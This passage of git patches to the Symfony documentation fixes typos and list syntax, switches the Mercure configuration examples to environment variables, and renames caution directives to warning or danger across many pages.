using :ref:`login throttling <security-login-throttling>`, you can check if ``$exception`` is an instance of From e58460bbb5ce875496c429a1874aa237615a00fe Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 6 Dec 2024 10:01:26 +0100 Subject: [PATCH 540/615] [EventDispatcher] Fix the syntax of the Learn More list --- components/event_dispatcher.rst | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst index 83cead3d19c..8cd676dd5fe 100644 --- a/components/event_dispatcher.rst +++ b/components/event_dispatcher.rst @@ -476,11 +476,7 @@ with some other dispatchers: Learn More ---------- -.. toctree:: - :maxdepth: 1 - - /components/event_dispatcher/generic_event - +* :doc:`/components/event_dispatcher/generic_event` * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>` * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>` From 8f1912f7363d06281b053c42f2303642215ef936 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Fri, 8 Nov 2024 12:45:01 +0100 Subject: [PATCH 541/615] Update mercure.rst: Actually using the env vars Page: https://symfony.com/doc/5.x/mercure.html#configuration Reason: The above paragraph explains how to set all those vars in `.env`, but then the code sample didn't use it ;-) --- mercure.rst | 33 ++++++++++++++++++--------------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/mercure.rst b/mercure.rst index e05f9033876..58ffdde9182 100644 --- a/mercure.rst +++ b/mercure.rst @@ -130,11 +130,12 @@ MercureBundle provides a more advanced configuration: mercure: hubs: default: - url: https://mercure-hub.example.com/.well-known/mercure + url: '%env(string:MERCURE_URL)%' + public_url: '%env(string:MERCURE_PUBLIC_URL)%' jwt: - secret: '!ChangeThisMercureHubJWTSecretKey!' - publish: ['foo', 'https://example.com/foo'] - subscribe: ['bar', 'https://example.com/bar'] + secret: '%env(string:MERCURE_JWT_SECRET)%' + publish: ['https://example.com/foo1', 'https://example.com/foo2'] + subscribe: ['https://example.com/bar1', 'https://example.com/bar2'] algorithm: 'hmac.sha256' provider: 'My\Provider' factory: 'My\Factory' @@ -147,19 +148,20 @@ MercureBundle provides a more advanced configuration: <config> <hub name="default" - url="https://mercure-hub.example.com/.well-known/mercure" - > + url="%env(string:MERCURE_URL)%" + public_url="%env(string:MERCURE_PUBLIC_URL)%" + > <!-- public_url defaults to url --> <jwt - secret="!ChangeThisMercureHubJWTSecretKey!" + secret="%env(string:MERCURE_JWT_SECRET)%" algorithm="hmac.sha256" provider="My\Provider" factory="My\Factory" value="my.jwt" > - <publish>foo</publish> - <publish>https://example.com/foo</publish> - <subscribe>bar</subscribe> - <subscribe>https://example.com/bar</subscribe> + <publish>https://example.com/foo1</publish> + <publish>https://example.com/foo2</publish> + <subscribe>https://example.com/bar1</subscribe> + <subscribe>https://example.com/bar2</subscribe> </jwt> </hub> </config> @@ -170,11 +172,12 @@ MercureBundle provides a more advanced configuration: $container->loadFromExtension('mercure', [ 'hubs' => [ 'default' => [ - 'url' => 'https://mercure-hub.example.com/.well-known/mercure', + 'url' => '%env(string:MERCURE_URL)%', + 'public_url' => '%env(string:MERCURE_PUBLIC_URL)%', 'jwt' => [ - 'secret' => '!ChangeThisMercureHubJWTSecretKey!', - 'publish' => ['foo', 'https://example.com/foo'], - 'subscribe' => ['bar', 'https://example.com/bar'], + 'secret' => '%env(string:MERCURE_JWT_SECRET)%', + 'publish' => ['https://example.com/foo1', 'https://example.com/foo2'], + 'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'], 'algorithm' => 'hmac.sha256', 'provider' => 'My\Provider', 'factory' => 'My\Factory', From a984be5bb36e22ebf279b68c36fb0745821a72da Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Fri, 6 Dec 2024 18:29:01 +0100 Subject: [PATCH 542/615] fix: remove quotes on routes --- routing.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/routing.rst b/routing.rst index d0c89f1f403..02e5809cddb 100644 --- a/routing.rst +++ b/routing.rst @@ -302,7 +302,7 @@ arbitrary matching logic: # config/routes.yaml contact: path: /contact - controller: 'App\Controller\DefaultController::contact' + controller: App\Controller\DefaultController::contact condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'" # expressions can also include configuration parameters: # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'" @@ -311,7 +311,7 @@ arbitrary matching logic: post_show: path: /posts/{id} - controller: 'App\Controller\DefaultController::showPost' + controller: App\Controller\DefaultController::showPost # expressions can retrieve route parameter values using the "params" variable condition: "params['id'] < 1000" From 38b721ec40cc2ff2ff37bbd93014fcbfe3690255 Mon Sep 17 00:00:00 2001 From: dearaujoj <jderaujo@ozkasuma.fr> Date: Sat, 7 Dec 2024 10:37:45 +0100 Subject: [PATCH 543/615] Fix typo "seperate" should be "separate" in the text: "the process in two seperate responsibilities" --- serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index 6cb0a564f3a..72c6dad40ba 100644 --- a/serializer.rst +++ b/serializer.rst @@ -238,7 +238,7 @@ The serializer uses a two-step process when (de)serializing objects: ></object> In both directions, data is always first converted to an array. This splits -the process in two seperate responsibilities: +the process in two separate responsibilities: Normalizers These classes convert **objects** into **arrays** and vice versa. They From 3849004fcc56c63ced8441d0870e34137b5ab4b5 Mon Sep 17 00:00:00 2001 From: Timo Bakx <github@timobakx.dev> Date: Sat, 7 Dec 2024 11:38:23 +0100 Subject: [PATCH 544/615] Replaced caution blocks with warning Fixes #20371 Both blocks are currently rendered identically. Keeping only one of the two makes it easier to contribute. Some blocks were elevated to danger. --- .doctor-rst.yaml | 1 + bundles.rst | 6 +-- bundles/best_practices.rst | 2 +- bundles/extension.rst | 2 +- bundles/override.rst | 2 +- cache.rst | 2 +- components/cache/adapters/apcu_adapter.rst | 4 +- .../adapters/couchbasebucket_adapter.rst | 2 +- .../adapters/couchbasecollection_adapter.rst | 2 +- .../cache/adapters/filesystem_adapter.rst | 2 +- .../cache/adapters/memcached_adapter.rst | 4 +- .../cache/adapters/php_files_adapter.rst | 2 +- components/cache/adapters/redis_adapter.rst | 2 +- components/config/definition.rst | 4 +- .../console/changing_default_command.rst | 2 +- components/console/events.rst | 2 +- components/console/helpers/progressbar.rst | 2 +- components/console/helpers/questionhelper.rst | 6 +-- components/finder.rst | 2 +- components/form.rst | 2 +- components/http_kernel.rst | 2 +- components/ldap.rst | 2 +- components/lock.rst | 38 +++++++++---------- components/options_resolver.rst | 4 +- components/phpunit_bridge.rst | 2 +- components/process.rst | 4 +- components/property_access.rst | 6 +-- components/runtime.rst | 2 +- components/uid.rst | 4 +- components/validator/resources.rst | 2 +- configuration.rst | 6 +-- configuration/env_var_processors.rst | 2 +- configuration/multiple_kernels.rst | 2 +- configuration/override_dir_structure.rst | 2 +- console.rst | 10 ++--- console/calling_commands.rst | 2 +- console/command_in_controller.rst | 2 +- console/commands_as_services.rst | 4 +- console/input.rst | 2 +- contributing/code/bc.rst | 8 ++-- contributing/code/bugs.rst | 2 +- contributing/documentation/format.rst | 2 +- contributing/documentation/standards.rst | 2 +- deployment.rst | 2 +- deployment/proxies.rst | 2 +- doctrine.rst | 6 +-- doctrine/custom_dql_functions.rst | 2 +- doctrine/multiple_entity_managers.rst | 6 +-- doctrine/reverse_engineering.rst | 2 +- form/bootstrap5.rst | 6 +-- form/create_custom_field_type.rst | 2 +- form/data_mappers.rst | 4 +- form/data_transformers.rst | 6 +-- form/direct_submit.rst | 2 +- form/events.rst | 4 +- form/form_collections.rst | 6 +-- form/form_customization.rst | 4 +- form/form_themes.rst | 2 +- form/inherit_data_option.rst | 2 +- form/type_guesser.rst | 2 +- form/unit_testing.rst | 4 +- form/without_class.rst | 2 +- forms.rst | 2 +- frontend/asset_mapper.rst | 2 +- frontend/encore/installation.rst | 2 +- frontend/encore/simple-example.rst | 4 +- frontend/encore/virtual-machine.rst | 4 +- http_cache/cache_invalidation.rst | 2 +- http_cache/esi.rst | 2 +- http_client.rst | 2 +- lock.rst | 2 +- logging/channels_handlers.rst | 2 +- logging/monolog_exclude_http_codes.rst | 2 +- mailer.rst | 16 ++++---- mercure.rst | 2 +- messenger.rst | 12 +++--- notifier.rst | 8 ++-- profiler.rst | 4 +- reference/configuration/framework.rst | 2 +- reference/configuration/web_profiler.rst | 2 +- reference/constraints/Callback.rst | 2 +- reference/constraints/EqualTo.rst | 2 +- reference/constraints/File.rst | 2 +- reference/constraints/IdenticalTo.rst | 2 +- reference/constraints/NotEqualTo.rst | 2 +- reference/constraints/NotIdenticalTo.rst | 2 +- reference/constraints/UniqueEntity.rst | 6 +-- reference/dic_tags.rst | 2 +- reference/formats/expression_language.rst | 2 +- reference/formats/message_format.rst | 2 +- reference/forms/types/choice.rst | 2 +- reference/forms/types/collection.rst | 6 +-- reference/forms/types/country.rst | 2 +- reference/forms/types/currency.rst | 2 +- reference/forms/types/date.rst | 2 +- reference/forms/types/dateinterval.rst | 4 +- reference/forms/types/entity.rst | 2 +- reference/forms/types/language.rst | 2 +- reference/forms/types/locale.rst | 2 +- reference/forms/types/money.rst | 5 ++- .../types/options/_date_limitation.rst.inc | 2 +- .../forms/types/options/choice_name.rst.inc | 2 +- reference/forms/types/options/data.rst.inc | 2 +- .../options/empty_data_description.rst.inc | 2 +- .../forms/types/options/inherit_data.rst.inc | 2 +- reference/forms/types/options/value.rst.inc | 2 +- reference/forms/types/password.rst | 2 +- reference/forms/types/textarea.rst | 2 +- reference/forms/types/time.rst | 6 +-- reference/forms/types/timezone.rst | 2 +- routing.rst | 10 ++--- security.rst | 4 +- security/access_control.rst | 6 +-- security/access_token.rst | 4 +- security/impersonating_user.rst | 2 +- security/ldap.rst | 4 +- security/login_link.rst | 2 +- security/passwords.rst | 2 +- security/user_providers.rst | 2 +- security/voters.rst | 2 +- serializer.rst | 2 +- service_container.rst | 4 +- service_container/definitions.rst | 4 +- service_container/lazy_services.rst | 2 +- service_container/service_decoration.rst | 2 +- .../service_subscribers_locators.rst | 2 +- service_container/tags.rst | 2 +- session.rst | 4 +- setup/_update_all_packages.rst.inc | 2 +- setup/file_permissions.rst | 8 ++-- setup/symfony_server.rst | 8 ++-- setup/upgrade_major.rst | 2 +- setup/web_server_configuration.rst | 2 +- templates.rst | 4 +- testing.rst | 4 +- testing/end_to_end.rst | 2 +- testing/http_authentication.rst | 2 +- testing/insulating_clients.rst | 2 +- translation.rst | 8 ++-- validation.rst | 2 +- validation/groups.rst | 2 +- validation/sequence_provider.rst | 4 +- workflow.rst | 2 +- 143 files changed, 248 insertions(+), 246 deletions(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 7bce99e69a1..f78b5c21ec9 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -23,6 +23,7 @@ rules: forbidden_directives: directives: - '.. index::' + - '.. caution::' indention: ~ lowercase_as_in_use_statements: ~ max_blank_lines: diff --git a/bundles.rst b/bundles.rst index ac02fff4ff0..4240b060012 100644 --- a/bundles.rst +++ b/bundles.rst @@ -3,7 +3,7 @@ The Bundle System ================= -.. caution:: +.. warning:: In Symfony versions prior to 4.0, it was recommended to organize your own application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles @@ -63,7 +63,7 @@ Start by creating a new class called ``AcmeBlogBundle``:: The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was introduced in Symfony 6.1. -.. caution:: +.. warning:: If your bundle must be compatible with previous Symfony versions you have to extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead. @@ -123,7 +123,7 @@ to be adjusted if needed: .. _bundles-legacy-directory-structure: -.. caution:: +.. warning:: The recommended bundle structure was changed in Symfony 5, read the `Symfony 4.4 bundle documentation`_ for information about the old diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst index 5996bcbe43d..376984388db 100644 --- a/bundles/best_practices.rst +++ b/bundles/best_practices.rst @@ -246,7 +246,7 @@ with Symfony Flex to install a specific Symfony version: # recommended to have a better output and faster download time) composer update --prefer-dist --no-progress -.. caution:: +.. warning:: If you want to cache your Composer dependencies, **do not** cache the ``vendor/`` directory as this has side-effects. Instead cache diff --git a/bundles/extension.rst b/bundles/extension.rst index 6b87572a6de..23318590166 100644 --- a/bundles/extension.rst +++ b/bundles/extension.rst @@ -204,7 +204,7 @@ Patterns are transformed into the actual class namespaces using the classmap generated by Composer. Therefore, before using these patterns, you must generate the full classmap executing the ``dump-autoload`` command of Composer. -.. caution:: +.. warning:: This technique can't be used when the classes to compile use the ``__DIR__`` or ``__FILE__`` constants, because their values will change when loading diff --git a/bundles/override.rst b/bundles/override.rst index 36aea69b231..f25bd785373 100644 --- a/bundles/override.rst +++ b/bundles/override.rst @@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig`` template from the AcmeUserBundle, create this template: ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig`` -.. caution:: +.. warning:: If you add a template in a new location, you *may* need to clear your cache (``php bin/console cache:clear``), even if you are in debug mode. diff --git a/cache.rst b/cache.rst index b4b8bbfde13..0072e9cfd52 100644 --- a/cache.rst +++ b/cache.rst @@ -854,7 +854,7 @@ Then, register the ``SodiumMarshaller`` service using this key: //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)']) ->addArgument(new Reference('.inner')); -.. caution:: +.. danger:: This will encrypt the values of the cache items, but not the cache keys. Be careful not to leak sensitive data in the keys. diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst index 99d76ce5d27..f2e92850cd8 100644 --- a/components/cache/adapters/apcu_adapter.rst +++ b/components/cache/adapters/apcu_adapter.rst @@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly* increase an application's performance, as its cache contents are stored in shared memory, a component appreciably faster than many others, such as the filesystem. -.. caution:: +.. warning:: **Requirement:** The `APCu extension`_ must be installed and active to use this adapter. @@ -30,7 +30,7 @@ and cache items version string as constructor arguments:: $version = null ); -.. caution:: +.. warning:: Use of this adapter is discouraged in write/delete heavy workloads, as these operations cause memory fragmentation that results in significantly degraded performance. diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst index 7ea068cabfc..970dabe2cd9 100644 --- a/components/cache/adapters/couchbasebucket_adapter.rst +++ b/components/cache/adapters/couchbasebucket_adapter.rst @@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_ must be installed, active, and running to use this adapter. Version ``2.6`` or diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst index 25640a20b0f..ba78cc46eff 100644 --- a/components/cache/adapters/couchbasecollection_adapter.rst +++ b/components/cache/adapters/couchbasecollection_adapter.rst @@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_ must be installed, active, and running to use this adapter. Version ``3.0`` or diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst index 26ef48af27c..db877454859 100644 --- a/components/cache/adapters/filesystem_adapter.rst +++ b/components/cache/adapters/filesystem_adapter.rst @@ -33,7 +33,7 @@ and cache root path as constructor parameters:: $directory = null ); -.. caution:: +.. warning:: The overhead of filesystem IO often makes this adapter one of the *slower* choices. If throughput is paramount, the in-memory adapters diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst index d68d3e3b9ac..64baf0d4702 100644 --- a/components/cache/adapters/memcached_adapter.rst +++ b/components/cache/adapters/memcached_adapter.rst @@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_ must be installed, active, and running to use this adapter. Version ``2.2`` or @@ -256,7 +256,7 @@ Available Options executed in a "fire-and-forget" manner; no attempt to ensure the operation has been received or acted on will be made once the client has executed it. - .. caution:: + .. warning:: Not all library operations are tested in this mode. Mixed TCP and UDP servers are not allowed. diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst index efd2cf0e964..6f171f0fede 100644 --- a/components/cache/adapters/php_files_adapter.rst +++ b/components/cache/adapters/php_files_adapter.rst @@ -28,7 +28,7 @@ file similar to the following:: handles file includes, this adapter has the potential to be much faster than other filesystem-based caches. -.. caution:: +.. warning:: While it supports updates and because it is using OPcache as a backend, this adapter is better suited for append-mostly needs. Using it in other scenarios might lead to diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index c764bb86ed4..827e2dfb00d 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si shared memory; you can store contents independent of your PHP environment. The ability to utilize a cluster of servers to provide redundancy and/or fail-over is also available. -.. caution:: +.. warning:: **Requirements:** At least one `Redis server`_ must be installed and running to use this adapter. Additionally, this adapter requires a compatible extension or library that implements diff --git a/components/config/definition.rst b/components/config/definition.rst index d1b41d99fce..96f0c177aaa 100644 --- a/components/config/definition.rst +++ b/components/config/definition.rst @@ -675,7 +675,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML. For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The normalization would make both of these ``auto_connect``. -.. caution:: +.. warning:: The target key will not be altered if it's mixed like ``foo-bar_moo`` or if it already exists. @@ -894,7 +894,7 @@ Otherwise the result is a clean array of configuration values:: $configs ); -.. caution:: +.. warning:: When processing the configuration tree, the processor assumes that the top level array key (which matches the extension name) is already stripped off. diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst index b739e3b39ba..c69995ea395 100644 --- a/components/console/changing_default_command.rst +++ b/components/console/changing_default_command.rst @@ -52,7 +52,7 @@ This will print the following to the command line: Hello World -.. caution:: +.. warning:: This feature has a limitation: you cannot pass any argument or option to the default command because they are ignored. diff --git a/components/console/events.rst b/components/console/events.rst index af1bc86a588..ab497068979 100644 --- a/components/console/events.rst +++ b/components/console/events.rst @@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work:: $application->setDispatcher($dispatcher); $application->run(); -.. caution:: +.. warning:: Console events are only triggered by the main command being executed. Commands called by the main command will not trigger any event, unless diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst index 47288fef1af..445fb1dda88 100644 --- a/components/console/helpers/progressbar.rst +++ b/components/console/helpers/progressbar.rst @@ -327,7 +327,7 @@ to display it can be customized:: // the bar width $progressBar->setBarWidth(50); -.. caution:: +.. warning:: For performance reasons, Symfony redraws the screen once every 100ms. If this is too fast or too slow for your application, use the methods diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst index e33c4ed5fa7..2670ec3084a 100644 --- a/components/console/helpers/questionhelper.rst +++ b/components/console/helpers/questionhelper.rst @@ -329,7 +329,7 @@ convenient for passwords:: return Command::SUCCESS; } -.. caution:: +.. warning:: When you ask for a hidden response, Symfony will use either a binary, change ``stty`` mode or use another trick to hide the response. If none is available, @@ -392,7 +392,7 @@ method:: return Command::SUCCESS; } -.. caution:: +.. warning:: The normalizer is called first and the returned value is used as the input of the validator. If the answer is invalid, don't throw exceptions in the @@ -540,7 +540,7 @@ This way you can test any user interaction (even complex ones) by passing the ap simulates a user hitting ``ENTER`` after each input, no need for passing an additional input. -.. caution:: +.. warning:: On Windows systems Symfony uses a special binary to implement hidden questions. This means that those questions don't use the default ``Input`` diff --git a/components/finder.rst b/components/finder.rst index 063984b7d45..7cc580333e7 100644 --- a/components/finder.rst +++ b/components/finder.rst @@ -41,7 +41,7 @@ The ``$file`` variable is an instance of :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own :phpclass:`SplFileInfo` to provide methods to work with relative paths. -.. caution:: +.. warning:: The ``Finder`` object doesn't reset its internal state automatically. This means that you need to create a new instance if you do not want diff --git a/components/form.rst b/components/form.rst index 42a5a00bbae..e4b1c9a67e9 100644 --- a/components/form.rst +++ b/components/form.rst @@ -640,7 +640,7 @@ method: // ... -.. caution:: +.. warning:: The form's ``createView()`` method should be called *after* ``handleRequest()`` is called. Otherwise, when using :doc:`form events </form/events>`, changes done diff --git a/components/http_kernel.rst b/components/http_kernel.rst index 83205db98f5..351a2123b90 100644 --- a/components/http_kernel.rst +++ b/components/http_kernel.rst @@ -494,7 +494,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain actions that you may have delayed in order to return the response as quickly as possible to the client (e.g. sending emails). -.. caution:: +.. warning:: Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request` PHP function. This means that at the moment, only the `PHP FPM`_ server diff --git a/components/ldap.rst b/components/ldap.rst index 89094fad0b7..f5a142ced9f 100644 --- a/components/ldap.rst +++ b/components/ldap.rst @@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user:: $ldap->bind($dn, $password); -.. caution:: +.. danger:: When the LDAP server allows unauthenticated binds, a blank password will always be valid. diff --git a/components/lock.rst b/components/lock.rst index 5ce828fb4fc..fb7efeb2b77 100644 --- a/components/lock.rst +++ b/components/lock.rst @@ -359,7 +359,7 @@ lose the lock it acquired automatically:: throw new \Exception('Process failed'); } -.. caution:: +.. warning:: A common pitfall might be to use the ``isAcquired()`` method to check if a lock has already been acquired by any process. As you can see in this example @@ -422,7 +422,7 @@ when the PHP process ends):: // if none is given, sys_get_temp_dir() is used internally. $store = new FlockStore('/var/stores'); -.. caution:: +.. warning:: Beware that some file systems (such as some types of NFS) do not support locking. In those cases, it's better to use a directory on a local disk @@ -678,7 +678,7 @@ the stores:: $store = new CombinedStore($stores, new UnanimousStrategy()); -.. caution:: +.. warning:: In order to get high availability when using the ``ConsensusStrategy``, the minimum cluster size must be three servers. This allows the cluster to keep @@ -730,7 +730,7 @@ the ``Lock``. Every concurrent process must store the ``Lock`` on the same server. Otherwise two different machines may allow two different processes to acquire the same ``Lock``. -.. caution:: +.. warning:: To guarantee that the same server will always be safe, do not use Memcached behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server @@ -772,12 +772,12 @@ Using the above methods, a robust code would be:: // Perform the task whose duration MUST be less than 5 seconds } -.. caution:: +.. warning:: Choose wisely the lifetime of the ``Lock`` and check whether its remaining time to live is enough to perform the task. -.. caution:: +.. warning:: Storing a ``Lock`` usually takes a few milliseconds, but network conditions may increase that time a lot (up to a few seconds). Take that into account @@ -786,7 +786,7 @@ Using the above methods, a robust code would be:: By design, locks are stored on servers with a defined lifetime. If the date or time of the machine changes, a lock could be released sooner than expected. -.. caution:: +.. warning:: To guarantee that date won't change, the NTP service should be disabled and the date should be updated when the service is stopped. @@ -808,7 +808,7 @@ deployments. Some file systems (such as some types of NFS) do not support locking. -.. caution:: +.. warning:: All concurrent processes must use the same physical file system by running on the same machine and using the same absolute path to the lock directory. @@ -837,7 +837,7 @@ and may disappear by mistake at any time. If the Memcached service or the machine hosting it restarts, every lock would be lost without notifying the running processes. -.. caution:: +.. warning:: To avoid that someone else acquires a lock after a restart, it's recommended to delay service start and wait at least as long as the longest lock TTL. @@ -845,7 +845,7 @@ be lost without notifying the running processes. By default Memcached uses a LRU mechanism to remove old entries when the service needs space to add new items. -.. caution:: +.. warning:: The number of items stored in Memcached must be under control. If it's not possible, LRU should be disabled and Lock should be stored in a dedicated @@ -863,7 +863,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi MongoDbStore ~~~~~~~~~~~~ -.. caution:: +.. warning:: The locked resource name is indexed in the ``_id`` field of the lock collection. Beware that an indexed field's value in MongoDB can be @@ -889,7 +889,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB. recommended to set constructor option ``gcProbability`` to ``0.0`` to disable this behavior if you have manually dealt with TTL index creation. -.. caution:: +.. warning:: This store relies on all PHP application and database nodes to have synchronized clocks for lock expiry to occur at the correct time. To ensure @@ -906,12 +906,12 @@ PdoStore The PdoStore relies on the `ACID`_ properties of the SQL engine. -.. caution:: +.. warning:: In a cluster configured with multiple primaries, ensure writes are synchronously propagated to every node, or always use the same node. -.. caution:: +.. warning:: Some SQL engines like MySQL allow to disable the unique constraint check. Ensure that this is not the case ``SET unique_checks=1;``. @@ -920,7 +920,7 @@ In order to purge old locks, this store uses a current datetime to define an expiration date reference. This mechanism relies on all server nodes to have synchronized clocks. -.. caution:: +.. warning:: To ensure locks don't expire prematurely; the TTLs should be set with enough extra time to account for any clock drift between nodes. @@ -949,7 +949,7 @@ and may disappear by mistake at any time. If the Redis service or the machine hosting it restarts, every locks would be lost without notifying the running processes. -.. caution:: +.. warning:: To avoid that someone else acquires a lock after a restart, it's recommended to delay service start and wait at least as long as the longest lock TTL. @@ -977,7 +977,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of all managed stores. As soon as one managed store returns erroneous information, the ``CombinedStore`` won't be reliable. -.. caution:: +.. warning:: All concurrent processes must use the same configuration, with the same amount of managed stored and the same endpoint. @@ -995,13 +995,13 @@ must run on the same machine, virtual machine or container. Be careful when updating a Kubernetes or Swarm service because for a short period of time, there can be two running containers in parallel. -.. caution:: +.. warning:: All concurrent processes must use the same machine. Before starting a concurrent process on a new machine, check that other processes are stopped on the old one. -.. caution:: +.. warning:: When running on systemd with non-system user and option ``RemoveIPC=yes`` (default value), locks are deleted by systemd when that user logs out. diff --git a/components/options_resolver.rst b/components/options_resolver.rst index 3d9310b918d..6b033a1b69c 100644 --- a/components/options_resolver.rst +++ b/components/options_resolver.rst @@ -485,7 +485,7 @@ these options, you can return the desired default value:: } } -.. caution:: +.. warning:: The argument of the callable must be type hinted as ``Options``. Otherwise, the callable itself is considered as the default value of the option. @@ -699,7 +699,7 @@ to the closure to access to them:: } } -.. caution:: +.. warning:: The arguments of the closure must be type hinted as ``OptionsResolver`` and ``Options`` respectively. Otherwise, the closure itself is considered as the diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst index 699901ccd18..5a2c508b68d 100644 --- a/components/phpunit_bridge.rst +++ b/components/phpunit_bridge.rst @@ -634,7 +634,7 @@ test:: And that's all! -.. caution:: +.. warning:: Time-based function mocking follows the `PHP namespace resolutions rules`_ so "fully qualified function calls" (e.g ``\time()``) cannot be mocked. diff --git a/components/process.rst b/components/process.rst index 89cbf584b51..10e7e0777af 100644 --- a/components/process.rst +++ b/components/process.rst @@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of // this option allows a subprocess to continue running after the main script exited $process->setOptions(['create_new_console' => true]); -.. caution:: +.. warning:: Most of the options defined by ``proc_open()`` (such as ``create_new_console`` and ``suppress_errors``) are only supported on Windows operating systems. @@ -542,7 +542,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and $process->disableOutput(); $process->run(); -.. caution:: +.. warning:: You cannot enable or disable the output while the process is running. diff --git a/components/property_access.rst b/components/property_access.rst index 717012d6710..9944ad05273 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -119,7 +119,7 @@ To read from properties, use the "dot" notation:: var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar' -.. caution:: +.. warning:: Accessing public properties is the last option used by ``PropertyAccessor``. It tries to access the value using the below methods first before using @@ -271,7 +271,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method:: var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...] -.. caution:: +.. warning:: When implementing the magic ``__get()`` method, you also need to implement ``__isset()``. @@ -312,7 +312,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert var_dump($propertyAccessor->getValue($person, 'wouter')); // [...] -.. caution:: +.. warning:: The ``__call()`` feature is disabled by default, you can enable it by calling :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall` diff --git a/components/runtime.rst b/components/runtime.rst index 7d17e7e7456..d357bdb8aea 100644 --- a/components/runtime.rst +++ b/components/runtime.rst @@ -42,7 +42,7 @@ the component. This file runs the following logic: #. At last, the Runtime is used to run the application (i.e. calling ``$kernel->handle(Request::createFromGlobals())->send()``). -.. caution:: +.. warning:: If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php`` file won't be created. diff --git a/components/uid.rst b/components/uid.rst index 7b929500cee..b286329151d 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -348,7 +348,7 @@ entity primary keys:: // ... } -.. caution:: +.. warning:: Using UUIDs as primary keys is usually not recommended for performance reasons: indexes are slower and take more space (because UUIDs in binary format take @@ -544,7 +544,7 @@ entity primary keys:: // ... } -.. caution:: +.. warning:: Using ULIDs as primary keys is usually not recommended for performance reasons. Although ULIDs don't suffer from index fragmentation issues (because the values diff --git a/components/validator/resources.rst b/components/validator/resources.rst index ba27073acab..b5f5acdac14 100644 --- a/components/validator/resources.rst +++ b/components/validator/resources.rst @@ -232,7 +232,7 @@ You can set this custom implementation using ->setMetadataFactory(new CustomMetadataFactory(...)) ->getValidator(); -.. caution:: +.. warning:: Since you are using a custom metadata factory, you can't configure loaders and caches using the ``add*Mapping()`` methods anymore. You now have to diff --git a/configuration.rst b/configuration.rst index 3ddcf453dd7..a4ffc2866e1 100644 --- 